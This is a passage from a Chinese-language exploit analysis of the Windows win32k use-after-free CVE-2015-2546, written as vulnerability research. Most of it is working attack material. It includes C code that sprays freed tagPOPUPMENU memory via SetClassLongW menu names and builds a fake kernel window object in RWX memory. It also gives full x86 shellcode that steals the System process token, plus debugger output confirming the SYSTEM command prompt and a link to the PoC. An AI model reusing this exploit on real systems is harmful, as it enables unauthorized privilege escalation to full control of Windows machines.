消息的下一条指令位置下断点,并在测试环境中执行编译后的验证代码程序。命中断点后观测数据,可发现目标菜单窗口对象的扩展区域原本指向关联的弹出菜单对象的指针已被置空;而存储在寄存器 ebx
中的目标弹出菜单对象的内存块已处于 Free 状态:
win32k!xxxMNMouseMove+0x14e:
9481953d 85c0 test eax,eax
kd> r esi
esi=fe810050
kd> ?poi(esi+b0)
Evaluate expression: 0 = 00000000
kd> r ebx
ebx=ffb6e328
kd> !pool ffb6e328
Pool page ffb6e328 region is Paged session pool
ffb6e000 size: 260 previous size: 0 (Allocated) Gla5
ffb6e260 size: 10 previous size: 260 (Allocated) Glnk
ffb6e270 size: 10 previous size: 10 (Allocated) Glnk
ffb6e280 size: a0 previous size: 10 (Allocated) Gla8
*ffb6e320 size: 40 previous size: a0 (Free ) *Uspm Process: 85bc5338
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
[...]
目标弹出菜单对象的内存块已处于 Free 状态
接下来执行流进入 xxxMNHideNextHierarchy
函数调用并将目标弹出菜单对象地址作为参数传入,在该函数中向成员域 spwndNextPopup
指向的子菜单窗口对象发送消息。由于已被释放内存的目标弹出菜单对象的各个成员域已被置空,因此该函数在判断后将直接返回,不会导致系统 BSOD 的发生。
前面通过编写验证代码实现了对释放后重用漏洞的触发。在验证代码自定义的窗口挂钩处理程序中,通过调用 DestroyWindow
函数触发销毁用于利用的菜单窗口对象,这将导致系统在内核中直接释放目标菜单窗口对象所关联的弹出菜单 tagPOPUPMENU
对象,而在内核中该对象的指针仍旧存储在寄存器 ebx
中。
在函数 xxxSendMessage
返回后,函数 xxxMNMouseMove
并没有从目标菜单窗口对象的扩展区域重新获取该指针,也没有对寄存器中存储的地址进行验证,就直接将该地址作为参数传入函数 xxxMNHideNextHierarchy
中。在函数 xxxMNHideNextHierarchy
中对参数指向的目标弹出菜单对象的成员域 spwndNextPopup
进行访问,此时该地址的内存区域处于被释放(Free)状态,这就导致了释放后重用的发生。
内存区域的重新占用
接下来通过在已被释放的弹出菜单对象的内存区域重新分配新的内存块并构造其中的数据,实现对该漏洞的利用和内核提权。与之前分析 CVE-2017-0263 时类似地,在利用代码中使用批量创建普通窗口对象并设置窗口类菜单名称的方式来实现。
利用代码批量设置窗口类菜单名称以占用被释放的菜单窗口对象
在利用代码中注册 256 个随机类名称的窗口类以避免重复,并通过每个窗口类创建一个普通窗口对象。
for (INT i = 0; i < 0x100; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
RegisterClassExW(&Class);
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
hWindowList[iWindowCount++] = hwnd;
}
利用代码批量注册和创建普通窗口对象
接着在利用代码自定义的窗口挂钩处理程序 xxWindowHookProc
判断 message
为 0x1F0
的情况的处理逻辑中,增加对前面批量创建的每个普通窗口对象设置窗口类菜单名称的调用:
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0xdddddddd; //->flags
dwPopupFake[0x1] = (DWORD)0xdddddddd; //->spwndNotify
dwPopupFake[0x2] = (DWORD)0xdddddddd; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)0xdddddddd; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)0xdddddddd; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)0xdddddddd; //->spmenu
dwPopupFake[0x6] = (DWORD)0xdddddddd; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)0xdddddddd; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xdddddddd; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)0xdddddddd; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xdddddddd; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)0xdddddddd; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
利用代码对批量创建的普通窗口对象设置窗口类菜单名称
由于 MENUNAME
字段属于 WCHAR
字符串格式,因此在初始化缓冲区时需要将所有数值设置为不包含连续 2
字节为 0
的情况。通过调用函数 SetClassLongW
为目标窗口对象设置 MENUNAME
字段时,系统最终在内核中为窗口对象所属的窗口类 tagCLS
对象的成员域 lpszMenuName
分配并设置 UNICODE
字符串缓冲区。
由于成员域 lpszMenuName
指向的缓冲区和弹出菜单 tagPOPUPMENU
对象的缓冲区同样是进程配额的内存块,因此两者所占用的额外内存大小相同,只需要将在利用代码中为每个窗口对象设置的 MENUNAME
缓冲区长度设置为与 tagPOPUPMENU
大小相同的长度,那么通常情况下在内核中总有一个窗口对象的 MENUNAME
缓冲区被分配在先前释放的根弹出菜单对象的内存区域中,成为伪造的根弹出菜单 tagPOPUPMENU
对象。
这样一来,由于占用原位置的弹出菜单对象各个成员域被填充了 0xdddddddd
这种无意义的地址,因此在函数 xxxMNHideNextHierarchy
中访问成员域时将会触发缺页异常导致系统 BSOD 的发生。接下来构造伪造的子菜单窗口对象,并使占位的目标弹出菜单对象成员域 spwndPrevPopup
指向伪造对象的地址。
kd> dc ebx
fd602df0 dddddddd dddddddd dddddddd dddddddd ................
fd602e00 dddddddd dddddddd dddddddd dddddddd ................
fd602e10 dddddddd dddddddd dddddddd dddddddd ................
fd602e20 00000000 85dde030 00070008 69707355 ....0.......Uspi
fd602e30 ff4e22c8 92662f70 0084d032 00000000 ."N.p/f.2.......
fd602e40 0023a8e4 00000000 00020910 000c0fc0 ..#.............
fd602e50 00000460 00000000 00000004 00000000 `...............
fd602e60 46340007 64667454 8779d438 87c5d970 ..4FTtfd8.y.p...
占用原位置的弹出菜单对象各个成员域的数据
内核利用的准备工作
在利用代码的早期阶段定义结构体 SHELLCODE
以存储当前进程的 PID 以及关键内核对象成员域的偏移值和内核利用成功反馈变量,并存储 ShellCode 代码的入口点。
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
BOOL bExploited;
BYTE pfnWindProc[];
} SHELLCODE, *PSHELLCODE;
利用代码定义的 SHELLCODE 结构体
在用户进程中分配 0x1000
字节大小的 RWX
内存块用来作为结构体 SHELLCODE
的对象实例,初始化对象的各个成员域,将内核利用函数的代码完整拷贝到以成员域 pfnWindProc
地址作为起始的 ShellCode 代码内存区域。
接下来在分配的内存块后段划分出 0xb0
字节大小的区域用作伪造的子菜单窗口 tagWND
对象,使其成员标志位 bServerSideWindowProc
置位(决定消息处理函数在内核上下文直接执行),并将消息处理函数成员域 lpfnWndProc
修改为 ShellCode 代码的首地址。后续的实际内核利用的操作将通过这里的 ShellCode 代码在内核上下文中进行。
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ZeroMemory(pvShellCode, 0x1000);
ptagWNDFake = (PDWORD)((PBYTE)pvShellCode + 0xf00);
ptagWNDFake[0x05] = (DWORD)0x40000; //->state[bServerSideWindowProc]
ptagWNDFake[0x12] = (DWORD)pvShellCode->pfnWindProc; //->lpfnWndProc
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
for (UINT i = 0; ; i++)
{
if (*(DWORD *)&((PBYTE)xxPayloadWindProc)[i] == 0xcccccccc)
{
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, i);
break;
}
}
在验证代码自定义的窗口挂钩处理函数中,将原本为成员域 spwndNextPopup
和 spwndActivePopup
赋值的 0xdddddddd
改成在此处伪造的目标菜单窗口对象 ptagWNDFake
的地址。
dwPopupFake[0x3] = (DWORD)ptagWNDFake; //->spwndNextPopup
[...]
dwPopupFake[0x7] = (DWORD)ptagWNDFake; //->spwndActivePopup
更新占用原位置的弹出菜单对象部分成员域的值
由于在函数 xxxSendMessageTimeout
中存在对目标窗口对象指向线程信息对象的成员域的判断,因此利用代码需要将伪造的菜单窗口对象指针成员域 pti
赋值为当前线程的线程信息对象地址,这可以通过 HMValidateHandle
内核地址泄露技术根据前面创建的任意窗口对象句柄来实现。成员域 pti
在内核利用的函数代码中还将用作定位进程体 EPROCESS
链表的线索。
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndFakeMenu);
((PTHRDESKHEAD)ptagWNDFake)->pti = head->pti;
赋值伪造的菜单窗口对象的菜单信息结构体指针成员域
内核利用的函数代码
用来实施内核利用的 ShellCode 函数代码将作为伪造的子菜单窗口对象的内核模式消息处理函数在内核上下文中执行。函数的执行通过函数 xxxMNHideNextHierarchy
向目标子菜单窗口对象发送 0x1E5
消息来触发。
在 ShellCode 函数开始位置,判断通过参数传入的消息是否是 0x1E5
,不是的情况则直接返回。
push ebp;
mov ebp, esp;
mov eax, dword ptr[ebp + 0Ch];
cmp eax, 01E5h;
jne LocRETURN;
在 32 位的 Windows 操作系统中,用户上下文代码段寄存器 CS
值为 0x1B
,借助这个特性,在 ShellCode
函数代码中判断当前执行上下文是否在用户模式下,如是则直接返回。
mov ax, cs;
cmp ax, 1Bh;
je LocRETURN;
首先备份当前所有通用寄存器的数值在栈上,接下来通过 CALL-POP
技术获取当前 EIP
执行指令的地址,并根据相对偏移计算出存储在 ShellCode 函数代码前面位置的结构体 SHELLCODE
对象的首地址:
cld;
pushad;
call $+5;
pop edx;
sub edx, 35h;
接下来获取先前存储在伪造子菜单窗口对象成员域 pti
中的线程信息 tagTHREADINFO
对象指针,并继续获取线程信息对象中存储的进程信息 tagPROCESSINFO
对象指针,并获取对应进程的进程体 EPROCESS
对象指针。各个成员域的偏移在结构体 SHELLCODE
对象中存储。
LocGetEPROCESS:
mov ecx, dword ptr[ebp + 8];
mov ecx, dword ptr[ecx + 8];
mov ebx, dword ptr[edx + 08h];
mov ecx, dword ptr[ebx + ecx];
mov ecx, dword ptr[ecx];
mov ebx, dword ptr[edx + 0Ch];
mov eax, dword ptr[edx + 4];
接下来根据进程体 EPROCESS
对象的成员域 ActiveProcessLinks
双向链表和成员域 UniqueProcessId
进程标识符找到当前进程的 EPROCESS
地址。由于 UniqueProcessId
是成员域 ActiveProcessLinks
的前一个成员域,因此直接使用 SHELLCODE
对象中存储的 ActiveProcessLinks
偏移值来定位 UniqueProcessId
的位置。
push ecx;
LocForCurrentPROCESS:
cmp dword ptr[ebx + ecx - 4], eax;
je LocFoundCURRENT;
mov ecx, dword ptr[ebx + ecx];
sub ecx, ebx;
jmp LocForCurrentPROCESS;
LocFoundCURRENT:
mov edi,ecx;
pop ecx;
紧接着继续遍历进程体 EPROCESS
对象链表,以找到 System 进程的进程体对象地址。
LocForSystemPROCESS:
cmp dword ptr[ebx + ecx - 4], 4;
je LocFoundSYSTEM;
mov ecx, dword ptr[ebx + ecx];
sub ecx, ebx;
jmp LocForSystemPROCESS;
LocFoundSYSTEM :
mov esi, ecx;
执行到这一步已定位到当前进程和 System 进程的进程体对象地址,接下来就使用 System 进程的成员域 Token
指针替换当前进程的 Token
指针。
mov eax, dword ptr[edx + 10h];
add esi, eax;
add edi, eax;
lods dword ptr[esi];
stos dword ptr es : [edi];
此时当前进程已拥有 System 进程的 Token
指针,额外增加的引用需要手动为目标 Token
对象增加对象引用计数。在 NT 执行体模块中大多数内核对象都是以 OBJECT_HEADER
结构体作为头部结构:
kd> dt nt!_OBJECT_HEADER
+0x000 PointerCount : Int4B
+0x004 HandleCount : Int4B
[...]
+0x014 SecurityDescriptor : Ptr32 Void
+0x018 Body : _QUAD
该结构位于内核对象地址前面的位置,内核对象起始于 OBJECT_HEADER
结构体的 Body
成员域。手动增加指针引用需要对成员域 PointerCount
进行自增。
and eax, 0FFFFFFF8h;
add dword ptr[eax - 18h], 2;
接下来大功告成,置位 SHELLCODE
对象成员域 bExploited
已向用户进程传递利用成功的反馈信号。恢复前面备份的通用寄存器的数值到寄存器中。
mov dword ptr[edx + 14h], 1;
popad;
xor eax, eax;
LocRETURN:
leave;
ret 10h;
在函数末尾设置 5 个 int 3
指令,以便在前面拷贝内核利用的函数代码时能够定位到函数的末尾。
提权成功
在自定义的事件通知处理程序 xxWindowEventProc
函数中,待发送 WM_MOUSEMOVE
的函数 SendMessage
调用返回后,增加对 SHELLCODE
对象的内核利用反馈变量成员域 bExploited
数值的判断:
if (pvShellCode->bExploited)
{
bDoneExploit = TRUE;
}
自定义事件通知处理程序增加对内核利用反馈变量的判断
如果变量已被赋值,则将全局变量 bDoneExploit
赋值为 TRUE
。通过主线程监听全局变量 bDoneExploit
是否被赋值,并在后续代码逻辑中创建新的命令提示符进程。
启动的命令提示符进程已属于 System 用户身份
可以观测到新启动的命令提示符已属于 System 用户身份。
后记
这个漏洞和 CVE-2017-0263 都是 tagPOPUPMENU
对象的释放后重用漏洞,不同的是利用的时机:CVE-2017-0263 是在内核函数释放目标弹出菜单对象之后才得以满足触发条件,而本分析中的 CVE-2015-2546 需要用户进程的利用代码主动触发释放目标弹出菜单对象的逻辑。对该漏洞的利用总体来讲比 CVE-2017-0263 的利用更为简单,对 CVE-2017-0263 的利用代码几乎可以不经修改地对该漏洞使用,同时也没有任何被破坏需要修复的内核对象存在。
本分析的 POC 下载
https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2015-2546/x86.cpp
从 CVE-2017-0263 漏洞分析到菜单管理组件
https://xiaodaozhi.com/exploit/71.html
Kernel Attacks through User-Mode Callbacks
http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf
sam-b/windows_kernel_address_leaks
https://github.com/sam-b/windows_kernel_address_leaks
Two for One: Microsoft Office Encapsulated PostScript and Windows Privilege Escalation Zero-Days
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf
CVE-2015-2546:从补丁比对到Exploit
WM_MOUSEMOVE message
https://msdn.microsoft.com/en-us/library/ms645616(VS.85).aspx